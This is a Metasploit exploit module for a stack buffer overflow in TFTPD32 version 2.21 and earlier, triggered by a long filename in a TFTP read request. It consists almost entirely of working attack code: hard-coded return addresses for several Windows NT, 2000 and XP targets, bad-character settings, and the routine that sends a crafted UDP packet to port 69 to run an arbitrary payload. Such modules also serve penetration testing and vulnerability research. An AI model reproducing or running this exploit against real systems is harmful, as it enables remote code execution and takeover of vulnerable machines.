TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit)
## # $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system. }, 'Author' => 'MC', 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2002-2226'], ['OSVDB', '45903'], ['BID', '6199'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ], ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ], ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ], ['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ], ], 'Privileged' => true, 'DisclosureDate' => 'Nov 19 2002' )) register_options( [ Opt::RPORT(69) ], self) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit = "\x00\x01" + rand_text_english(120, payload_badchars) + "." + rand_text_english(135, payload_badchars) + [target.ret].pack('V') + payload.encoded + "\x00" udp_sock.put(sploit) disconnect_udp end end |